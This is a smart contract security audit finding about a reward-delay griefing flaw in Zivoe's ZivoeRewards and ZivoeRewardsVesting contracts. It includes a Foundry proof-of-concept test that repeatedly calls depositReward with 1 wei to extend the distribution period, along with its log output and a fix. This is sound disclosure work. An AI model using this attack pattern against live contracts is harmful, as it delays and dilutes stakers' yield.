Best Lava Dragon

medium

# Staking rewards in ZivoeRewards/ZivoeRewardsVesting can be delayed.

## Summary
ZivoeRewards and ZivoeRewardsVesting allow staking of tokens to receive yield. Currently, anyone can prolong the time for rewards to get distributed, essentially locking funds in the contract and diluting the yield for users.
## Vulnerability Detail
To deposit rewards for distribution `depositReward()` must be called. During that the rewardRate is calculated and the end timestamp of the distribution is updated.
[ZivoeRewards.sol#L241](https://github.com/sherlock-audit/2024-03-zivoe/blob/d4111645b19a1ad3ccc899bea073b6f19be04ccd/zivoe-core-foundry/src/ZivoeRewards.sol#L241)
```solidity
rewardData[_rewardsToken].periodFinish = block.timestamp.add(
    rewardData[_rewardsToken].rewardsDuration
);
```
Because there is no access control and no minimal deposit requirements an attacker can substantially delay the rewards distribution with just few wei of donation.
## Impact
The attacker can extend the distribution time to three times the initially intended duration.
## Proof Of Concept
Please add this function to Test_ZivoeRewards.sol.
```solidity
function test_ZivoeRewards_addReward_reward_dilutionAndDelay() public {
    // Sam stakes 5000 ZVE into the ZivoeRewards contract
    vm.startPrank(address(sam));
    ZVE.approve(address(stZVE), 5000e18);
    stZVE.stake(5000e18);
    vm.stopPrank();
    // DAI is set up as rewards token with 30 days of distribution period
    // 100 DAI tokens to distribute
    uint256 amountToDistribute = 100e18;
    mint("DAI", address(bob), amountToDistribute);
    bob.try_approveToken(DAI, address(stZVE), amountToDistribute);
    vm.prank(address(bob));
    stZVE.depositReward(DAI, amountToDistribute);
    // Attacker calls depositReward(DAI, 1) each day to distribute 1 wei of a token
    mint("DAI", address(jim), 100e18);
    jim.try_approveToken(DAI, address(stZVE), amountToDistribute);
    for (uint256 i = 0; i < 30; i++) {
        vm.warp(block.timestamp + 1 days);
        vm.prank(address(jim));
        stZVE.depositReward(DAI, 1);
    }
    // Caclualte the expected and actual distributed supply
    (, uint256 periodFinish, uint256 rewardRate, , ) = stZVE.rewardData(
        DAI
    );
    uint256 remaining = periodFinish - block.timestamp;
    uint256 leftOver = remaining * rewardRate;
    console.log("Distributed supply after 30 days:");
    console.log("----------------------------------------------------");
    console2.log(
        "Distributed supply:          ",
        (amountToDistribute - leftOver) / 1e18
    );
    console2.log("Expected distributed supply:", amountToDistribute / 1e18);
    for (uint256 i = 0; i < 60; i++) {
        vm.warp(block.timestamp + 1 days);
        vm.prank(address(jim));
        stZVE.depositReward(DAI, 1);
    }
    console2.log();
    (, uint256 periodFinishNew, uint256 rewardRateNew, , ) = stZVE
        .rewardData(DAI);
    uint256 remainingNew = periodFinishNew - block.timestamp;
    uint256 leftOverNew = remainingNew * rewardRateNew;
    console.log("Distributed supply after 90 days:");
    console.log("----------------------------------------------------");
    console2.log(
        "Distributed supply:          ",
        (amountToDistribute - leftOverNew) / 1e18
    );
    console2.log("Expected distributed supply:", amountToDistribute / 1e18);
}
```
The console output of the test:
```md
Logs:
  Distributed supply after 30 days:
  ----------------------------------------------------
  Distributed supply:           63
  Expected distributed supply: 100
  
  Distributed supply after 90 days:
  ----------------------------------------------------
  Distributed supply:           95
  Expected distributed supply: 100
```
## Code Snippet
https://github.com/sherlock-audit/2024-03-zivoe/blob/d4111645b19a1ad3ccc899bea073b6f19be04ccd/zivoe-core-foundry/src/ZivoeRewards.sol#L228-L243
https://github.com/sherlock-audit/2024-03-zivoe/blob/d4111645b19a1ad3ccc899bea073b6f19be04ccd/zivoe-core-foundry/src/ZivoeRewardsVesting.sol#L352-L367
## Tool used

Manual Review

## Recommendation
Consider adding access control on `depositReward()` functions or introduce a minimal requirement for a deposit.